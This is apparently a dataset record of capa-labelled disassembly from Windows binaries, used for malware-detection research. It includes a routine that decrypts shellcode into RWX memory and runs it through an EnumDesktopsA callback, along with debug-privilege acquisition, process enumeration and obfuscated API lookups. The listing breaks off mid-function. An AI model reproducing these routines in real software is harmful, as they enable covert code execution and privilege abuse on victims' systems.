joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140007c60
Capabilities:
Allocate or change rwx memory
Enumerate gui resources
Execute shellcode via windows callback function

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x170
lea rsi, [0x140009028]
call fcn.140001500
lea rbx, [rsp + 0x30]
mov ecx, 0x27
movdqu xmm0, xmmword [str.mwommwoeemwooemw_]
mov rdi, rbx
rep movsq qword [rdi], qword [rsi]
mov ecx, 0x140
movups xmmword [rsp + 0x20], xmm0
movzx eax, word [rsi]
mov rbx, rdi
lea rsi, [rsp + 0x30]
mov word [rdi], ax
call sub.msvcrt.dll_malloc
mov ecx, 0x28
mov r13, rax
movabs rax, 0x9090909090909090
mov rdi, r13
lea rbp, [r13 + 0x140]
rep stosq qword [rdi], rax
mov ecx, 0x27
mov rdi, r13
movzx eax, word [rbx]
rep movsq qword [rdi], qword [rsi]
mov rbx, r13
mov rsi, r13
mov word [rdi], ax
lea rdi, [rsp + 0x20]
nop dword [rax]
mov rcx, rsi
mov rdx, rdi
add rsi, 8
call fcn.140007ba0
cmp rsi, rbp
jne 0x140007cf0
lea rcx, str.encrypted:_n
mov rsi, r13
lea r12, str.x_02x
call fcn.140007c10
nop word [rax + rax]
movzx edx, byte [rsi]
mov rcx, r12
add rsi, 1
call fcn.140007c10
cmp rsi, rbp
jne 0x140007d20
lea r14, [0x140009013]
mov rsi, r13
mov rcx, r14
call fcn.140007c10
nop word cs:[rax + rax]
mov rcx, rsi
mov rdx, rdi
add rsi, 8
call fcn.140007b30
cmp rsi, rbp
jne 0x140007d50
lea rcx, str.decrypted:_n
call fcn.140007c10
movzx edx, byte [rbx]
mov rcx, r12
add rbx, 1
call fcn.140007c10
cmp rbx, rbp
jne 0x140007d70
mov rcx, r14
call fcn.140007c10
mov r9d, 0x40
xor ecx, ecx
mov r8d, 0x1000
mov edx, 8
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, r13
mov r8d, 0x140
mov rcx, rax
mov rbx, rax
call sub.msvcrt.dll_memmove
call qword [sym.imp.USER32.dll_GetProcessWindowStation]
xor r8d, r8d
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.USER32.dll_EnumDesktopsA]
mov rcx, r13
call sub.msvcrt.dll_free
xor eax, eax
add rsp, 0x170
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
Function at 0x1400192e0
Capabilities:
Enumerate pe sections

Disassembly:
push rbx
push rbp
push r13
push r14
mov eax, 0x1078
call fcn.14001ece0
sub rsp, rax
mov rax, qword [0x140030040]
xor rax, rsp
mov qword [rsp + 0x1050], rax
mov r14, rdx
mov qword [rsp + 0x38], r9
mov rdx, qword [rsp + 0x10c0]
xor ebp, ebp
mov qword [rsp + 0x30], rdx
mov r13, r8
mov qword [rsp + 0x40], rcx
test r8, r8
jne 0x140019332
mov rdx, rbp
jmp 0x1400193fb
mov r9d, 0x1000
lea rdx, [rsp + 0x50]
call fcn.140017e60
test al, al
je 0x14001932a
mov qword [rsp + 0x10a8], rsi
mov qword [rsp + 0x1070], rdi
mov rdi, 0xffffffffffffffff
mov qword [rsp + 0x1068], r12
mov qword [rsp + 0x1060], r15
nop dword [rax]
inc rdi
cmp byte [r14 + rdi], bpl
jne 0x140019370
movsxd rax, dword [rsp + 0x8c]
lea rcx, [rsp + 0x50]
add rcx, rax
mov esi, ebp
movzx eax, word [rcx + 0x14]
lea r12, [rcx + 0x18]
movzx r15d, word [rcx + 6]
add r12, rax
test r15d, r15d
je 0x1400193d8
mov eax, esi
mov r8, rdi
mov rdx, r14
lea rcx, [rax + rax*4]
lea rbx, [r12 + rcx*8]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400193d1
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rbx + rax], bpl
jne 0x1400193c3
cmp rdi, rax
je 0x140019435
inc esi
cmp esi, r15d
jb 0x1400193a0
mov rdx, rbp
mov r12, qword [rsp + 0x1068]
mov rdi, qword [rsp + 0x1070]
mov rsi, qword [rsp + 0x10a8]
mov r15, qword [rsp + 0x1060]
mov rax, qword [rsp + 0x30]
mov r9, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x40]
mov r8d, ebp
mov qword [rsp + 0x20], rax
call fcn.1400191d0
mov rcx, qword [rsp + 0x1050]
xor rcx, rsp
call fcn.14001e260
add rsp, 0x1078
pop r14
pop r13
pop rbp
pop rbx
ret
mov eax, dword [rbx + 0xc]
test eax, eax
je 0x1400193d8
mov ecx, dword [rbx + 8]
lea rdx, [rsp + 0x50]
add rdx, rax
je 0x1400193d8
test ecx, ecx
je 0x1400193d8
lea rax, [rsp + 0x50]
mov ebp, ecx
sub rdx, rax
add rdx, r13
jmp 0x1400193db

Function at 0x140019e30
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je 0x140019e58
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x140019e7e
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x140019e80
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x140019ed9
test ecx, ecx
jle 0x140019eb9
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x140019ed9
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x140019ed9
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret
Function at 0x140019f00
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push r14
sub rsp, 0x30
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x140019f22
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
cmp qword [rcx + 0x68], 0
je 0x140019f38
add rsp, 0x30
pop r14
pop rsi
pop rbp
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x28], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x140019f54
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140019f56
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140019f92
mov qword [rsp + 0x20], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x20]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x14001a02e
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x140019fcd
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x14001a00e
nop word [rax + rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x14001a02e
cmp rbx, rax
ja 0x140019fe0
test rbx, rbx
je 0x14001a02e
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
sub rbp, rbx
mov rbx, qword [rsp + 0x28]
mov rax, rbp
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
Function at 0x14001a490
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x140030040]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x14001a4bd
xor eax, eax
jmp 0x14001a629
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x14001a4f7
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x14001a4f7
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x14001a629
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x14001a61c
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x14001a53a
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x14001a565
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x14001a621
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x14001a5d4
sub eax, 1
je 0x14001a5d4
cmp eax, 2
jne 0x14001a61c
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x14001a621
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x14001a602
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x14001a61c
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x14001a621
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.14001e260
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x14001a8f0
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x140030040]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x14001a9c3
cmp byte [rcx + 0x71], 0
je 0x14001a9c3
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x14001a9bf
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x14001a984
sub eax, 1
je 0x14001a988
cmp eax, 2
jne 0x14001a9bf
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.14001e260
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x14001a9b6
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x14001a9bf
cmp byte [rbx + 0x71], 0
sete al
jmp 0x14001a96c
xor al, al
jmp 0x14001a96c
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.14001e260
add rsp, 0x60
pop rbx
ret
Function at 0x14001bd80
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14001be1f
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14001be1f
mov r8d, dword [rax + rcx + 0xd8]
test r8d, r8d
je 0x14001be12
mov rdi, qword [r8 + rcx + 0x58]
test rdi, rdi
je 0x14001be12
sub rcx, rdx
movabs rsi, 0x2b992ddfa232
add rdi, rcx
cmp qword [rdi], rsi
jne 0x14001be1f
mov qword [rsp + 0x30], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, eax
movabs rax, 0x2b992ddfa233
xor rcx, rbx
mov rbx, qword [rsp + 0x30]
xor rcx, rsi
cmp rcx, rsi
cmove rcx, rax
mov al, 1
mov qword [rdi], rcx
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov al, 1
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov rsi, qword [rsp + 0x38]
xor al, al
add rsp, 0x20
pop rdi
ret

Function at 0x14001c560
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x70
mov rax, qword [0x140030040]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov rsi, rdx
mov rdi, rcx
mov qword [rsp + 0x40], rcx
xor r8d, r8d
mov eax, 0x5a4d
cmp word [rdx], ax
jne 0x14001c672
movsxd rax, dword [rdx + 0x3c]
cmp dword [rax + rdx], 0x4550
jne 0x14001c672
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x48], xmm1
mov qword [rsp + 0x58], r8
mov ecx, dword [rax + rdx + 0xb0]
test ecx, ecx
jne 0x14001c5d9
mov qword [rdi], r8
mov qword [rdi + 8], r8
mov qword [rdi + 0x10], r8
jmp 0x14001c67d
lea rbx, [rdx + rcx]
mov ebp, dword [rax + rdx + 0xb4]
add rbp, rbx
mov rcx, qword [rsp + 0x50]
cmp rbx, rbp
jae 0x14001c660
mov edx, dword [rbx + 4]
test edx, edx
je 0x14001c660
mov eax, dword [rbx]
add rax, rsi
mov qword [rsp + 0x28], rax
lea rax, [rbx + 8]
mov qword [rsp + 0x30], rax
lea rax, [rdx - 8]
shr rax, 1
mov dword [rsp + 0x38], eax
cmp rcx, r8
je 0x14001c639
movups xmm0, xmmword [rsp + 0x28]
movups xmmword [rcx], xmm0
movsd xmm1, qword [rsp + 0x38]
movsd qword [rcx + 0x10], xmm1
add rcx, 0x18
mov qword [rsp + 0x50], rcx
jmp 0x14001c655
lea r8, [rsp + 0x28]
mov rdx, rcx
lea rcx, [rsp + 0x48]
call fcn.14001cf80
mov r8, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x50]
mov eax, dword [rbx + 4]
add rbx, rax
cmp rbx, rbp
jb 0x14001c5f1
mov rax, qword [rsp + 0x48]
mov qword [rdi], rax
mov qword [rdi + 8], rcx
mov qword [rdi + 0x10], r8
jmp 0x14001c67d
mov qword [rcx], r8
mov qword [rcx + 8], r8
mov qword [rcx + 0x10], r8
mov rax, rdi
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.14001e260
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x14001dce0
Capabilities:
Get system information on windows
Make suspicious ntquerysysteminformation call

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x50
mov rax, qword [0x140030040]
xor rax, rsp
mov qword [rsp + 0x48], rax
xor edi, edi
lea r9, [rsp + 0x20]
mov rsi, rcx
mov dword [rsp + 0x20], edi
xor r8d, r8d
xor edx, edx
mov ebx, edi
lea ecx, [rdi + 0xb]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x14001dd71
test rbx, rbx
je 0x14001dd39
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rsp + 0x20]
xor ecx, ecx
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, dword [rsp + 0x20]
lea r9, [rsp + 0x20]
mov rdx, rax
mov ecx, 0xb
mov rbx, rax
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x14001dd23
test eax, eax
jns 0x14001dd92
test rbx, rbx
je 0x14001dd97
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
jmp 0x14001de5d
test rbx, rbx
jne 0x14001dd9e
xor eax, eax
jmp 0x14001de5d
mov qword [rsp + 0x68], rbp
cmp dword [rbx], edi
jbe 0x14001de45
nop dword [rax + rax]
mov eax, edi
imul rcx, rax, 0x128
movzx edx, word [rcx + rbx + 0x2e]
lea rbp, [rcx + rbx]
add rcx, 0x30
add rdx, rcx
lea rcx, [rsp + 0x28]
add rdx, rbx
call fcn.1400143f0
cmp qword [rsi + 0x18], 0xf
mov rdx, rsi
jbe 0x14001dde3
mov rdx, qword [rsi]
cmp qword [rsp + 0x40], 0xf
lea rcx, [rsp + 0x28]
cmova rcx, qword [rsp + 0x28]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x14001de7a
mov rdx, qword [rsp + 0x40]
cmp rdx, 0xf
jbe 0x14001de3b
mov rcx, qword [rsp + 0x28]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001de36
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001dec3
call fcn.14001e280
inc edi
cmp edi, dword [rbx]
jb 0x14001ddb0
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov rbp, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.14001e260
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x50
pop rdi
ret
mov rdi, qword [rbp + 0x18]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rdx, qword [rsp + 0x40]
cmp rdx, 0xf
jbe 0x14001decf
mov rcx, qword [rsp + 0x28]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001deca
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001deca
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001e280
mov rax, rdi
jmp 0x14001de58
Function at 0x14001f094
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14001f0de
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14001f0de
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14001f0de
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14001f0de
cmp dword [rcx + 0x84], 0xe
jbe 0x14001f0de
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14001f0e0
xor al, al
add rsp, 0x28
ret
Function at 0x140001740
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, rdx
call fcn.14000197c
xor r10d, r10d
test eax, eax
js 0x140001969
mov eax, dword [rbx + 0xf0]
shl eax, 2
movsxd r9, eax
test eax, eax
jle 0x1400017c2
lea rdx, [rbx + 8]
lea r8, [rbx + 8]
lea rdx, [rdx + r9*4]
mov eax, dword [rdx - 8]
mov ecx, dword [r8 - 8]
add r10, 4
mov dword [r8 - 8], eax
mov eax, dword [rdx - 4]
mov dword [rdx - 8], ecx
mov ecx, dword [r8 - 4]
mov dword [r8 - 4], eax
mov eax, dword [rdx]
mov dword [rdx - 4], ecx
mov ecx, dword [r8]
mov dword [r8], eax
mov eax, dword [rdx + 4]
mov dword [rdx], ecx
mov ecx, dword [r8 + 4]
mov dword [r8 + 4], eax
sub r9, 4
mov dword [rdx + 4], ecx
lea rdx, [rdx - 0x10]
lea r8, [r8 + 0x10]
cmp r10, r9
jl 0x140001779
mov r11d, 1
cmp dword [rbx + 0xf0], r11d
jle 0x140001967
lea r10, [rbx + 2]
lea rdi, [0x140000000]
lea r10, [r10 + 0x10]
inc r11d
mov r9d, dword [r10 - 2]
mov eax, r9d
shr rax, 0x18
movzx edx, byte [rdi + rax*4 + 0x25b420]
movzx eax, byte [r10 - 1]
movzx ecx, byte [rdi + rax*4 + 0x25b420]
mov r8d, dword [rdi + rdx*4 + 0x25b020]
movzx eax, byte [r10]
xor r8d, dword [rdi + rcx*4 + 0x25a820]
movzx ecx, byte [rdi + rax*4 + 0x25b420]
movzx eax, r9b
xor r8d, dword [rdi + rcx*4 + 0x25ac20]
movzx ecx, byte [rdi + rax*4 + 0x25b420]
mov r9d, dword [r10 + 2]
xor r8d, dword [rdi + rcx*4 + 0x25a420]
mov eax, r9d
shr rax, 0x18
mov dword [r10 - 2], r8d
movzx edx, byte [rdi + rax*4 + 0x25b420]
movzx eax, byte [r10 + 3]
movzx ecx, byte [rdi + rax*4 + 0x25b420]
movzx eax, byte [r10 + 4]
mov r8d, dword [rdi + rdx*4 + 0x25b020]
xor r8d, dword [rdi + rcx*4 + 0x25a820]
movzx ecx, byte [rdi + rax*4 + 0x25b420]
movzx eax, r9b
xor r8d, dword [rdi + rcx*4 + 0x25ac20]
movzx ecx, byte [rdi + rax*4 + 0x25b420]
mov r9d, dword [r10 + 6]
xor r8d, dword [rdi + rcx*4 + 0x25a420]
mov eax, r9d
shr rax, 0x18
mov dword [r10 + 2], r8d
movzx edx, byte [rdi + rax*4 + 0x25b420]
movzx eax, byte [r10 + 7]
movzx ecx, byte [rdi + rax*4 + 0x25b420]
movzx eax, byte [r10 + 8]
mov r8d, dword [rdi + rdx*4 + 0x25b020]
xor r8d, dword [rdi + rcx*4 + 0x25a820]
movzx ecx, byte [rdi + rax*4 + 0x25b420]
movzx eax, r9b
xor r8d, dword [rdi + rcx*4 + 0x25ac20]
movzx ecx, byte [rdi + rax*4 + 0x25b420]
movzx eax, byte [r10 + 0xb]
xor r8d, dword [rdi + rcx*4 + 0x25a420]
movzx edx, byte [rdi + rax*4 + 0x25b420]
movzx eax, byte [r10 + 0xc]
movzx ecx, byte [rdi + rax*4 + 0x25b420]
mov r9d, dword [r10 + 0xa]
mov dword [r10 + 6], r8d
mov r8d, dword [rdi + rdx*4 + 0x25a820]
mov eax, r9d
xor r8d, dword [rdi + rcx*4 + 0x25ac20]
shr rax, 0x18
movzx ecx, byte [rdi + rax*4 + 0x25b420]
movzx eax, r9b
xor r8d, dword [rdi + rcx*4 + 0x25b020]
movzx ecx, byte [rdi + rax*4 + 0x25b420]
xor r8d, dword [rdi + rcx*4 + 0x25a420]
mov dword [r10 + 0xa], r8d
cmp r11d, dword [rbx + 0xf0]
jl 0x1400017e0
xor eax, eax
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x140005b24
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
mov edi, r8d
mov rsi, rdx
mov rbp, rcx
call fcn.140009e6c
mov rbx, rax
test rax, rax
je 0x140005b9a
lea rdx, [rsp + 0x20]
mov rcx, rax
mov word [rsp + 0x20], 0x444d
mov word [rsp + 0x26], 0x7461
mov word [rsp + 0x23], 0x7055
mov byte [rsp + 0x22], 0x35
mov byte [rsp + 0x25], 0x64
mov word [rsp + 0x28], 0x65
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140005b92
mov r8d, edi
mov rdx, rsi
mov rcx, rbp
call rax
mov rcx, rbx
call fcn.140009eb8
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
Function at 0x14000c0c4
Capabilities:
Acquire debug privileges

Disassembly:
mov rax, rsp
push rdi
sub rsp, 0x80
mov qword [rax - 0x68], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov rsi, r8
xor ebx, ebx
call fcn.140009e6c
mov rdi, rax
test rax, rax
je 0x14000c13b
lea rcx, [rsp + 0x30]
call fcn.14003ea4c
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14000c11c
mov r8, rsi
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
call rax
mov ebx, eax
mov rcx, rdi
call fcn.140009eb8
nop
lea rdi, [rsp + 0x30]
xor eax, eax
lea ecx, [rax + 0x16]
rep stosb byte [rdi], al
lea rdi, [rsp + 0x46]
lea ecx, [rax + 0x2c]
rep stosb byte [rdi], al
mov eax, ebx
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret

Function at 0x14000cc88
Capabilities:
Get common file path

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov dword [rax + 0x20], r9d
push rdi
sub rsp, 0x20
cmp qword [rcx], 0
mov esi, r8d
mov rbp, rdx
mov rbx, rcx
jne 0x14000cd2e
cmp dword [rcx + 8], 0xffffffff
jne 0x14000cd2e
lea rdi, [rcx + 0x150]
mov ecx, 0x104
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov rcx, rdi
call fcn.1401c96c0
mov cl, byte [rax + rbx + 0x14f]
cmp cl, 0x5c
je 0x14000ccfb
cmp cl, 0x2f
je 0x14000ccfb
lea r8, [0x14025e2f0]
or r9, 0xffffffffffffffff
mov edx, 0x104
mov rcx, rdi
call fcn.1401cb3d4
lea r9, [rsp + 0x48]
mov edx, esi
mov rcx, rbp
call fcn.14000de50
test rax, rax
jne 0x14000cd15
mov eax, dword [rsp + 0x48]
jmp 0x14000cd33
mov rcx, rax
call fcn.14000d84c
mov qword [rbx], rax
neg rax
sbb eax, eax
not eax
and eax, 0x200
jmp 0x14000cd33
mov eax, 0x1000000
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x14000e5ac
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
mov r9d, dword [rcx]
mov r10, rcx
movsx rax, dl
mov r8d, r9d
shr r9d, 8
xor r8, rax
movzx eax, r8b
lea r8, [0x14025b840]
mov edx, dword [r8 + rax*4]
xor edx, r9d
mov dword [rcx], edx
movzx eax, dl
mov edx, dword [r10 + 8]
add eax, dword [rcx + 4]
imul ecx, eax, 0x8088405
inc ecx
mov dword [r10 + 4], ecx
movzx eax, byte [r10 + 7]
movzx ecx, dl
xor rcx, rax
shr edx, 8
mov eax, dword [r8 + rcx*4]
xor eax, edx
